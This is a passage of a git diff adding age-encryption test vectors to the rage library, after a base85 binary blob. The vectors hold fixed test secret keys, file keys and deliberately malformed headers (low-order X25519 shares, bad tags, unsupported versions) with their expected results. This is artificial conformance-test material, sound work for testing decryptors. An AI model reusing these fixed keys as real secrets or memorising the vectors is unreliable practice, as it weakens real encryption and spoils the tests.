zhy`SScy3bR^JGJ~q6MctXU_oGz{N^OWs^J0-^;c<% z6sK^Nk>iiw6z}0M&u40WV*U;oYqtIGhVbrGkO~e)X@$h92P~h1fb;L>cK%&_>9!@< zAKPs@p+*n>qGcJqn5%`6LBF3T(8A6G13>@%W(4l9QJHkI5MsLbIk4*w&K^rjwSpt| zWI=fPrePn~_b!Me&7iUfXAUK4+?^KSTf@`eT6ehP-Oi6YzF~(wsJeN_duyk~9EtyH z9whomoH`!#+=~}`E2v+mKve23PX_?Gp^Ln9j?r53K+73NqRox?T}fmF^Ds0ZQA*a6 zMdwNx+gO?cE0dNLq5G)mCW-9~0J|MEPs*$hiuA~q1fKmF;Z|!I{8%dX6YtAk3?+9( zNDiiT?sZeLG<$flShOA_J~w-1rN-*e0BxP;5Iif>c|Sh*@$#G^iU0G-Ks_W}q8N)V z{mlW6r*$By$7;=NjIFgvWTLvwS8}tu$9+lSbl+F762J>yS5c5FIFtc~OTp3-KcNtf z!K!4!!482QeNKK-d#*lsU+g1mP>8$WZ>!v$b;tiZK{GlFJ}yWjV_ji&wpK$!fpqPN ztk+|(dh`pG&NO#*96zb40;}bvJvRMcR_i~!rM)x(=jsV?68(RMyxlo}lRmYYy8!aE z-DRU*Z%~mV3Fdgz4?JQ@gsmp|%-2%>oZl;T5Q+kGEwY12B9MC4kA}BtqW=MMH5BT_ zoJm6}7EpwPV7yqNSd1>&fJ2${A?-XINdH3ey#nznNz#P}u-W{{?LJ*>m^`t8d1N(2 z8M^g_N_(W3XyF=)O0~7E%iAv2UPc$hpdIt!Zl5q>P>jutrNjE;s@EyN9TrMY zp8&88_!l8Jc~0mqlNFn{2*5JvGokFIT@43UBzPIdRjPuDJ&YS=BCj3C{1Q$hm}1pj zY7$ZJ$=*Np>zKSe_?=Ptvq%VdiN4G_lsn|jTwji9NUJ>m_y$u>jVPxUL#2UHUWyQ4 zl7-|uekc3iw|*>kOqA%dWrdFh&5Vw(5A89BEF?&&%=f}rJU*pvC>#c4P9R}9-jCKt zXwmphm+WN%DDs9<{FFN4Sj&E#YVuG;u#u)oMcw!;08naL5=$K}2OnTB*u<4DJz`=w z^HxnbQR_SYQE> zsnno_qxmm{T9*amt7hK1DBbD>LH_QOohK?O6tpo2uEM!yPJ{;O0_AdtLuBRMDJDrp zW#iCZcL4C-mN_&@-^^je5HsqC$VW}W)Eh%J!I_R&s?TC@e@NEZ^enSpHjv`40zt)-k~3TlmJ5~DXgWU9TlbC0YGQd_g(F^ z@&N$C^?V>s;Yp_P4aY)F=ESLAHe7^CXD&8dd}(2!mB<_va<|cHUReNS%R}k#nrAwJ z8G4s_F;iYD4k&RP$=bs?l(G>*oDY*WTpHOqULXq-9wJ2Y<@3ut%I=bn>fPKPSh^@Z zd%;Gt7LGxT7rOz)SP5fAJdEe0Fr=&e;X<6`?9#CjpdYYbi{=8nc;|l!Ao&a412iBMGUwg6+-ySUv9=Gv zWFd;g?t$P(Wwyvk?y`w@c#UVH)g5BWKc}Jm&OKdRhmVA=l?#hzjVBu;^wBI` z``%ElB%Xg<1q0~fWel!7+@A*es!wLXoM-8YF6mXqio@1FL(@3aCG!#sog^+!S#S0t zB2TIIp3JZ^$Svn*w6x+(8fMg%n#-VK zqB)YN5*7;54JsJ{y8hO;nNXZT za)Jf;a)1wc4}kQw@^-yjHc6=~K6?96h3BrAkJcS%6j*I^-gI=o^z)x~bw$6Pil&?$ zFWj{{A3IR3v%mJN@8Rte8f~rU;qikbbIB4XiVODTK0#ve#$)6DYI`hmG?Qq24Ag^bAZ) z=WJG*x0o^HgM|8YLDpLd)eR&-d(*F8C5vbHc1l!$Wg|N$+3II02bNdMUcwQIj@wY8 zVQ512LI5XK4{7p9?_Tep-SXTgO;1bYsu^;ay+HQ?iBT0b9#v;gtm$thi&i7jhE}tM zILsLr-sg-~1W583&>RdHkgcYYW$cBIj~mvC&gW4wNq(IFVbgeCxfZE&&8G+WXgxb5r$ z4!gG_5VR|*p)*Sx0P)XL9WBisJDg_viEr-9x!Q!0hg9T6Jo{#bTB>`!%u6JIHr+GF zz(kED(v=xhoMaB1l)&33i9QLcnZaZ&N)}rNT#u=8@oujLGE@&j$n~Y#BnO2`#`1_{ z?DWbzEoSI-+$fE>=@)U8yXMcgpfi)rgO#$AAvS3&!IVmILPIHoCRH zjb=@XDC8Z|u;Z1aJYJ7@0FfIC_B{(Xlt7Z$49nzX*LoR8G1JTx`BiFSRar}98XB(YL;T` zl3TF>k0gxQufjlSii-y28TRPH8*jnx-zD34uHM!^jO6pYv`B5k>)rFc-s2)Z2hsKY zVt|)R+FO$V#h{2svWn1CN^cPrHQlLj@h-2%N~)skoxl($?a4`PS5zbcagZ#j&~a&) z87?Y>f)8%X7=|O+k#K`Z6&#a9uZYuL6p>iopj0 zxBPMWB}S2h{I>R`pTsolxn5eJ?WE!Xg-48^e9zEfTQWvkCHSz$vMO^mhD5lgWDF68 zG3=5s8!t1s1{xF3KlFABggC@kAn8@7`Nz1_TD?V{5EqlbRf!btYkj7H?K*H>M-NQ* z@FNjuxVveu-_=+$8e{a_Q0+g1Q{+u}NOfbtt|4TmjjBO*+fP;+8VQBtIX<=cDZ~yl z?U;{5CCVt+%fkvL0ZwaxT+A0#$+{Z*ZNRqmh#&?AjKJL}F1u*Ck5w$tEY(CRpJ#-& zQd`>adqK7Ux)g@1NfEZQX{2i)&w!LCEwE3-i=eC{85`DYr*ATG?0vkc^4YJVcP4`u z0jyiMYM~;I+8^ux#jD2@WQ9R=>kPVlTT;Ox6{nSsu-up>8LiPRi_-%FxFA+Lc<8mw z>$wRS)T!fDl{8e%PruNp$%5y^2=Q~wZdQLA80}uK^eT(5Lt$Z?)D$tH_f299bV$xb zz?2MyecbymAbLDLX_kkqEV``}ho;DD1%HRct_lI&XQ}~2n0Sx>1l%b-=x2lny#ey6 zpde3sF%N^fHf-yb!ppnQp4fv%wIyJtcsOOoz^0`4dpxSc07|O{4Of>Za9aAds3;1Zu70IW z0KA+*dB=M(`J(2)wcJR~Ll|;s2}DhT^LctS;nxG5{GuN#SnSK5eYx!~l)+m_Yr+0z z_JM+D4QtxJ*X9laVl6%W>g@nd4puih)C_!4AKi(jEMOk%^cT(}bt0_aR>@y6&ADse z&haI7{H!^soOOX_GrWQ1%A1cpJXeQQq6e-U)C+J+k~cjI%c!Xxm?Px;8)nwx z%4o8h9(YMn%yVAzhM%{WfXk7}2mCehYnx0k^>;_|Z4~nqZcBFEHYo{2y}Yc9mQ;+#Ud)mb8D-%p+?d3 z8Y|mB2DK&xDHz6S@U6dJfFmbwAPVsVvEqZn%{Ew2InHm0jXN`tGxOBMpM5PzKO#Yc z51TF4agu@!kq5{KF{NK~C1?}PR=@k#FM+?~+XkZAMC*9VCUjvj#fcQ4t~zP?Lzj zWz*sYU_KGcXMPUXNZm}&te;ZFTxkIV^eEPS0j3~E@JV&Ap2b#@ab9ZAD)1{Rst&W) zJjgVW9eZ?=Eb*YYEk+bVpE3G{qA9*heMQlOqudN%P5Salt$MK_>j)&#rXp{rSiM{pAA`9tv_b$}lp zk+t3h{Bb~_t9w>0eAxwj0cXp2F}m>r#gnsBeXlOIr@5-vOsATgxx}^z>sowAq`~$* zp11R}{j^gcytcUT^vuy1AwlHdo$bgzJa+*-10or(BsgU}X!dy6_r|bbCjPB+rdiJL zPWNH{PII}irL)EOcl<}}2@QJCo#8V+rDIj`Js8dst}p}uMG`2QoSIL|ImvkF%}55J^q3GkR!g=nr`KGu{F4I|O=| zf4B~p&wq*gKsi}dijW1~bcE9r>0kOICONmTV=leg2jp%#8!%=6=oCvWZ8k9=k1pF{ zC9N6pAqDN#DSe7@Bi}bBE{{@!tGXlj6rl5*p8H(@vRF6;RGJHIGaweZe1; zjGGT2@2?r$W^GXv6lXTUSo`mZ3FL~sJ#FwO2*SUQ^iFadlbwzyr&%yYDgi*q&Hx_C z4jUY9uZ=)wK1Ss;s%f5^w*HygM>%zvYDT?|?_r8uNKF5*@#oE>1$Gl6%lO6r7C2X7 zA-LI#D;6E{0i|LN56tKJI@vs&K;J}g6CAf?qAlHKJec|!U2)vV;(qAiHWiwyHgGY@ zcqnBy)G%FddOKOYuKfL!a3e}s{kNbJCG?k=lxzCI@iVnf< z=tcg;I#@oi)o~kvc;Emb1#Nm#4 zhPJCZ!&Q9+-DND$2BrukHm{_3j}*`Yn)88+QZCN^kwUbGZKb>v#HMz!LCT*ba2kdm zSl2BkkPCfdNDKmi3Gv|b5rqbdbV;th{ESM$wWFt6ooDt*uI@qOYtnHnp2qEhaxgtd zeHin)^hkTyNqon?DjZri>jNq zOn3FzX>8oDNal~ATSs4OO3cx!Yse_|{a+rr&p`Z*0qW1kw2$-lk6M&rQoMBI{TC0?I+9g z?h}oBw-le_C=dWMiD5QSUfopf07@twFCN@7E4O^Sp%L#bGFK(%?;Xg*dNgV<8PLVXJ*i+6HJHj_RRKAW{|A22@q`-$+(s}+Y36PrFvMd73Ond&NwsCXf zMbde6qtrvg&LVaLO`ik6SulmFn?#sRKIJF5Rg2^C{<%M0%^t?U70mDcBDn zO$M@OsBr~{fWU5(Ma^&(0%IF)~?OQI7vrUwT>fEFD;V`?R1pDbsURK;E?hbp1Am{)7C$mk2* z;owC#X9Mo;V2vSAFG0FvG_ZLWH1QX3CV08yMgL}>FaadkzH(?mHi+}pDST#Rz!0`+ zQh7f3X&&`*H3Pb_Aq;t@TJLvYn$E1_k&ch`K+F@rmcP6vC05ydAM4s#+K{%ZKfpw7 zh-DHbq`d~FSOM}nc~vNLN&}fa)h_wFun>ZUk*V^bL@dG`P(Qn;&7*4EA(qnmI)Vn8 zY_Tlz4Nsr(G?@HI&~bGSq4>sXNAPcV5Uz5=Eqmm$h`?4WgSln`=KX;ZNPoV@Ng zrwuLzfA7e?PIwq_gPfpy88Y*UuuG!^On6zgClH``de|!l9~n_{qNDtKq6-pi!xKIR z^Z&(1I={V6$OCqk146?#*jlTq#qLm_%j>H-YtiNHACDP}G@Nt5vMCl|DiLqwj7fiLLrjWF>&N>5e*{$W{rd34kevvv3<7F63LjDtA{^rypd;@7 z29l^i4a+OyG-r~n(3b&iTF3B5q)#FQ0}oSr_p83n&i=iB-9M~>{u*o!(1)c?{M|4> zOf4HA^L=`2ER`C2OK}!v5{jpY6o8r#8YWF#$f9j|9y!Ch+?uqkQ-eUGPfH<)-C)X8 zl!`hc;=~9U)877j4Yos>|23G#K*UVrPl3F5XiD(dTF)K>aXP9ni&g15{*O@5n;MUg zUF@iq^iWY+KF2UfL`{<&jW)?@jLlj-Rm}?d#flmSKZpUXA;_a^C=V%T!y8(IQ(mpb z`1#Dqp3EN60jf|Rl1gePAky+bfA?Fc#A)A$W9+cz6A(@+ z{m25}=s%OY<=Q$JSi&7}+0=WtgRCb+CBV!ukr0=4+oASX^jaSa6Zy~ANGbsrb(FB6 z0%km`<>_pDtcT9(Y~AkhD7svFsEw7&EFRvbI5g&7<-o21s#KM_(x1G=bhW5 zKw{6eKSy1w3KT}`b&Fjlja*n;H(0Ng(UzElW=}0`vS|D*63q+6ZKr|@${~Khsw|59 zB&K?CFeSqFxo!fy8|U7(!ly6|B!CyISjvqw#zj~cp0u^DVE(0&`D2d<9mY>Qh5*Pe zA^fViJn=DEcZ$Zj3j=i3&ca%c|e$;g$J_XLg3!X4CJgRJfRpn*hrO?6ddg}UN~opD^1?Z0gUjz*4lb_%p0>Qg4`hBn4s`Yb`VSAW;g@W@a_RQHXvyuX7eAAmue9M~_9(CHE*~p*) zBd7nrMB|dxFhlNPMwG^dqZH@)gf-`%hcJj$Oxq4h9{yL-UH}>Ly~{5ykfLh->rCMAFG5AfM+ayOZUjrW} z^Kcpp9SA?e&S~0NkC7zLMHpHrEyzCA^uO1U0e({le79lk^4tszQ`V`Qljm)KCJEQ? z<&=skZ6=e@%Qoi^Xg1`(0&lAN_=N*VlTPtF*4Kzu09N}Cbg5-<+Cf*<0J--ISADnM z;w*!pT{H}r?@r8JXG58I0PNQ8!Q4p~SoKJGyyfF!jlLvs#9`Rv6#*ck$e1h$lU zyZYM#T+>}CG3-j7{9+JE5@e!^W9}{nq+dz3F3XFFH|xN>=(;+KeD8jV63Qegcj?gu zy_BL7&bp%F0IhWCQfk}9k#YvhHB$BRm82H50|+Z4TLoZv*X4>`XKe8wgweL9HN9z- z^#m03ghiMB>$>I3O2G429EbCoONy8*Y(HKczWMkv8tRZX^&?nOEq;$ z2`u);27;Y;ItF-a;(RP$?4IUF9Ba830Jp*b`=H|m*FsSAd+Yg=^PF?OqL`CxJxg-G z``<5aO-Tb(*Z>bP72j)pwm52W`W8)QfaFvuBCJH*6UF6$d2$mj)j;kA@X{ldfxS6A zf35&0HsWbwq{aMna}xJqvY4wWSp;=fl7+pfs8ml$NNWixVC>s-h7kr*ynt79mckv>;nqn}ST z^o^#wO3bb^Y+u66@L)v=QfjGdvbBD_>Uf7Ib45B{4ZZUf4N%JU3xr1a!mM28H`rGW z{Oc)z1_CRu@O2qiJ26bfM}K}BI5w3pe;C;=H_Uq?AU*7oZMC7jh29y2n&Fxn2$8l9 z#}6M8VPyiIIH8yO7MOoEDO$+)dW2j3V!~I{z;yeptt{LqoJ|Wj+;rf!)=BKgV<9-S zQ;L5`i-(j$lk1d<0ak+}9C6jXK$d8}PslmL zG+|8}jqpw>-55x&4lUqFN$h9DHIkXTp$I(s!sI^1GBQI_Fj#_f(OmchedK%(7ZpA4 zba@?glOM?A+UMWL_Ctr7ea*f?98HZQ<&pwX180|2k$gUwX9#1N||GHH#A z3IxDn5RqMRSCy{7x87}~#mc|0?s_07bNt0Jy-5ItMXrt~U1o1L?=rfKBh(=Abrb%~ zA-~@ULJ!;H*a_jci7Ej(g6#)_`{i+g=+K79_q(LPeSCR-hDT>9aeU`YQ0_(-FM-Jx z?0Qr9(M8C@{nhAwhR2ENHq=|-b@HbCb1fQ^sK;3@3%^PRgf5~w0h6IZ8xU41SzkJH zj>yVNTqs_C$l*@%yYjPPC+%W+k6Ie%fF?0fO2fmpd{09rtsWXUyA+P8acT%yXBzXx zSaiA%aw|e5NTjU>7WB(uzf*H$upUe^cBn$obhoqf)Le1f_>B-RFDfl!oB&onL}TXp zM28|6BWM{1^N$Sgu7$Vbq(Z$0UtaDROVhxl;{DhFFZt6;tIN4|*)3-Pek0+m9sz+i zyd~jQ8n#?46~a~41+6S#sAWhAWY=)2v0bqcY3e&z^DBnf+UwYjftIXu-aEx@7`o0O z8gkS*gzhg}`gP(s*n65^JFIJBVO!AGE#rT^u;xlZX$JyzrKMmGYS6w6(c#ArhR3`X zMd@?3+T5Pu1P1!g)|DA?KpreL@$AxG9vMP7_iFaQ>=%%8BD8O^w`mEgZ8&BIHoeH) z#%nA2p`>grdY{WGviS9`SskO%(cVfRurqdjIDoFu=$&#ABx&UPOWIupD+{mj6ynT) z^BP*o!UHS>yAi-4c-L^LYcUto=jgHT!{?q6;~^K4yj}+CX^-@J8>|>wLbh9x`ymt# z6dj%ZupKh2B9%FUnT(w{3`>i~Y!5FstT|jks}U`O#m->RE4=UbpGoT!unI!G-kRlp zo%|TycP+_nxu}xW=#@g40HE*rN7-^)$j(x}B>-rTS_oM49vutXgb2n5omg`4;ijhH z960yM^!CwDxJq}O^2+gCsD)B?l29X>Au?%dM)|C}L%Bpv@&3@S=I|%rf8z%MHMF>$ zsO4%4P3R$kbhepOo%O@0V?CG;aQ(DHE|yTXM;59s_Jc~tMH3Cwb{2<{9HiSzct0G! z8mDO6D+#!{=7`{$=u9+lYdbome^q>q0AKhcf@rUOjG&wC>KviiJfV*QR3;W*ApT)a zqtMY&$6!I@w36!DA_hV3@gt7?DB@8aPyRfdR>uAbaa4&K63bBkJ@7C^|z8P^kD`r!LB zt$vM%L>74(wZjYG!?Tr_N1vti;3z^y$C~&HBC6Q#(DRWf9aE-KRnS|VE{>}uN{Wc^ z={OuGp}j|60lu58AfcBAg(b4j1GzD;R9k*JTQ{-W(8;E1CzV)brY(2RCm`c-7mPL6>z6bMnNN4fv$GJX2?0`9C9Aw0gJ6 z!6SwJI*vZ_IaL^mHQoMw9_X(N*nE+-T1>u(J`s`v5;~H5{zHHh4L2&Kh0yb?s93Wu zjO6yfJ|*X(VjUOfpuH-52nDZHEkS`$si=nW3nzZL1dogdTf&! zzzAhk_>MP_7y7_n^ON~AIim3X?>;zmOtLzl1e9nTy_1urR7(eokQpN#fB!Ibv7&^D zS0Ta8OHgUL))dSa!LxUfOUn)Rl9yYe-hnQ_{In?IzY{*2#?7q;;bkZ1%k{aNdKEGy z7oc%Q}9>nWs1sNE~!i|`aWof+g~)Md1NNhz15jGv^yfI{ixly8DZW^ zDe06}GOSqZKje2WP)1VJ>%mQdeqes*thsPbA=dF6fHa&!#mG6oBF-<2ddh9e&;RXC zLJ3Wf$A{t4`u`eaN|!;}NQ?W}GFmhJK-TEjIPrQ1?az9AsQ1(A4f=0;a)unV)O$nC z5SV@fBphDXi_>J}yG{jL7_k0EXj)a;jS4pp-&yfNgv`ac4wdXldr%>RjC)Gbcc`fb zy^8A=2EViTi9u30#45GiyK!qv?4Aij#OFss+McytHfcsuvh#$1ms5!SDsaI@UYGJ< zfG;9*z+oy+5^NxIe@Y?4-ZNCLptlGNO>)OPQS2^Ay8E&7-&ysa+hpab zuEJ#wHj@8{v^PwM+y=gV29x7R_|%e|Y$weB?5feay8^K6_%xPiQkZ$K@31`wUKoh9 z1jA(;Um!Zjz2<&^1H;%38jEYHOH3h;^iWEZbVC_q;@-=G#O5mH7yxz@G?Of4Zrvwa z=-h|X_p)R*SU$#Q3r$0kPck(G=Cg~vAr4EE{hN812C+Qy*n>~b%j0pBdW9BK??|aO zT-B$v=nVWYB72ggIlb82OL%h%OFyO(K4DrZI>qg@)7pS2uT?;&rj)3vT^ezH3CQ(6 z-~9KS=*F2ngd$t!8tS5qYRd zZjkS2p!@`toK{_kZLf~!7-%cOd7-L7qwm_Gpuf*`glsxc+t!q{U9tHwn^pIe%Q!T1 zyma0)hUJ!8FcAgxhYeZ3Pzk4xYYyi99&mB;g+HPI7K6&nayTz)+0;+zn@ApjKPUia z8K+5!46Vi91SW0a%Efg%x@f7#Mu+C7DQg}t>MJEh!5sMS)@Ahr<^zKj);bNNCG@*J z&JZEA{dR}p9E%m-H8Bya5xPxpq9{|l5twW01~XSmV9G9Srb}v9@!JdTV5DCQoq3A` zg!7|U@dKx`AHW)eCL&I=Ld0X+bb>WDeLb>9OZW>8QIRvIJ?7^}uCCssE?7Kv(Y9if z6jPBsQvYYX27}VuO^mE&rT;azNeW{809OO4slnXG*xG+580X)a$&DsfFAAKot`GT8 zu@ii+vN@g!J)?)o9J4Dy%MRNcdu#eB&Lzpq*s*XZhtgmpk7>m;_5EnNt|5v-W<7$3 zN}Vo6Z`x%=ub_1sQHL*?9O~uVo7EW0>px(8gO$KzdL;H0js?YSD<=B~do+Dx($I_W zDJ#`QjTK-ZBj}IhtpYZn05~5tWj(6?7WIduAPDsm$d&RA(T9Y=CQ|_k=cNAx zeV!R2pAvJo?v?5=dbgHo8ifY#P@vw{B}Vq>G~ss80vH+2Vz9O8 z)NEi@?(tLFn?U1#p{^=ilm+)vtdz8FcG zoN>0k{JVmuv;_V_fggbO-(k>MO3rdj0u&u%Sli$hH-}vNb%-r6uA$Ka{T?$?5qV~t zI!t1XNyqq_A|w&}{q!9eD$L}+t$=@{dX*}SG5SW7aqhU_M}TS+9^7*1pGG&OQE?xA zLm}78FFm-cMVEn(gKB2taO4<&T(ZdQ(3iy_ewzQE@2gs%jpMX#AO zFD(k1zE3-De2b_GiI`4tQ1jIj4!lN!)!b^e1W716<+?EbDVQn2S&!NlS8q{Bf}CXr z9DY*_lwd`+)C`}RLRYXk^w60OlNYC!RH%|EPkD+Fzy5I0El($w>>nA0y*>LL-~qols?*@9TBxZu&?@Krv0#&driv>uVNR$Iyf1$)}Z${1kU`*wc77mR`T>w-~qf!41+W!*b9kqqQz^yj&$f}}x zGhc;Sq>oDx-)7mof&Mx{(1Ra(AHDmcnCk!J-<|`;z{+vA)pSqy95c12d5JYfOL z#V_ED|FClRe5LPyWzo5)vF~C=xW}aELVAdaaE^%_QD32~*+fUUV>O+4NJ9V!lf{s9mN@KG;VI|tUO`r=8TF9*v8!SMhu za*GKa>a5?=o9b%j*Xa$#P*k8Ki}7F9Z)*2yrbaxMp6|OSt4Sd$bgT-il=%u=L%wp@ z6KNgyk|`9B4L+?0{GDSeA0STff@8rVsTU@-cL&pfQCTWOAb-xsrA#jp|DmQ_*J& z1v2$!#Tq*fTvyLvpbibL0|`(xc=PoK9(m6>{uf6#RNjV;09zK!x~=Lzl(INaF zaY4#}yx>=J+GD0T==2 z{uTqtiyeC!9O;mXC-0(Q$Dk3s9_#r3km8=S7+@Sb?v>#0>BeJiQV@Rj)MFPM*^B@GnMxg8??44r~R2>j< zJBio;qO+xirRR^8Tb#6F?SCK`6yior0Hd&znu;5u3!{c!@xRbAuI`PUo=khxH8)o$ z1rlWDpw#u|4leO)1ko>-UlT%{&fQ(pU>&d6gj7jaz>^HFp4|;J#gB5mqL=qok@}lx YEdO1_F-j?=Oz*EAz|&asU7T literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/version_unsupported b/lib/rage/age/tests/testdata/testkit/version_unsupported new file mode 100644 index 0000000..e7a7ddf --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/version_unsupported @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1234 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- 38AL8Mr4VwmS6CNbM4bc7u3WwGBDqsMTRHOuYJ9ckqs +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519 b/lib/rage/age/tests/testdata/testkit/x25519 new file mode 100644 index 0000000..c7bb509 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519 @@ -0,0 +1,10 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_bad_tag b/lib/rage/age/tests/testdata/testkit/x25519_bad_tag new file mode 100644 index 0000000..13c7c70 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_bad_tag @@ -0,0 +1,10 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the ChaCha20Poly1305 authentication tag on the body of the X25519 stanza is wrong + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw0o +--- tG0k9bg4iIuBdMWb13n7FFYDzoBbtsLppNLhbh22aKg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_extra_argument b/lib/rage/age/tests/testdata/testkit/x25519_extra_argument new file mode 100644 index 0000000..198389b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_extra_argument @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the base64 encoding of the share is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc 1234 +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- hQQySEUXL8pOuIOuw0qXzi66RphDJP9IKMNEChNJIPk +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_grease b/lib/rage/age/tests/testdata/testkit/x25519_grease new file mode 100644 index 0000000..aa212d9 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_grease @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> grease + +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> grease + +--- 7NLrfbRUZt6qK0pdtARUf59dHwo12ReldjJKjMlbE3I +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_identity b/lib/rage/age/tests/testdata/testkit/x25519_identity new file mode 100644 index 0000000..eb254e7 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_identity @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the X25519 share is a low-order point, so the shared secret is the disallowed all-zero value + +age-encryption.org/v1 +-> X25519 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +W3E/OCRme9TiTY97JoK31Z71arNur77WIIdB90XnN3M +--- Pne3IPMDvBj7wRbPMcNViffpVZAx814tgMxp8AwyMhs +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_long_file_key b/lib/rage/age/tests/testdata/testkit/x25519_long_file_key new file mode 100644 index 0000000..30dc440 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_long_file_key @@ -0,0 +1,10 @@ +expect: header failure +file key: 41204c4f4e4745522059454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the file key must be checked to be 16 bytes before decrypting it + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +nlObGn0CSA4pxiaG3W6nLlaFFuHmqW+bFC6sJmbsJ9yFesgSok1K0AI +--- C49Jo3+j4I6jWB2tldSs1jVAXbv0mOTAnwdT+5vOiBg +îÏbÇΑ´3'NhÔòùLc÷(­çñ ÐtÿÇP²)€x1 \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_long_share b/lib/rage/age/tests/testdata/testkit/x25519_long_share new file mode 100644 index 0000000..a2f3a04 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_long_share @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: a trailing zero is missing from the X25519 share + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCcA +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- QbEwdWirchS37UUOPh7uVddRiOaWjFwRUpaQ4Q+Z1RE +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_low_order b/lib/rage/age/tests/testdata/testkit/x25519_low_order new file mode 100644 index 0000000..f528a0d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_low_order @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the X25519 share is a low-order point, so the shared secretis the disallowed all-zero value + +age-encryption.org/v1 +-> X25519 X5yVvKNQjCSx0LFVnIPvWwREXMRYHI6G2CJO3dCfEdc +3E0NpFans/m0WLWF7+54ZBdNj3iqQqpraGDFiaRkvBA +--- sXw327YMT1/ULXe+ZyRMbMY0Z2jnWHGgI9j1we6yQ8A +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_lowercase b/lib/rage/age/tests/testdata/testkit/x25519_lowercase new file mode 100644 index 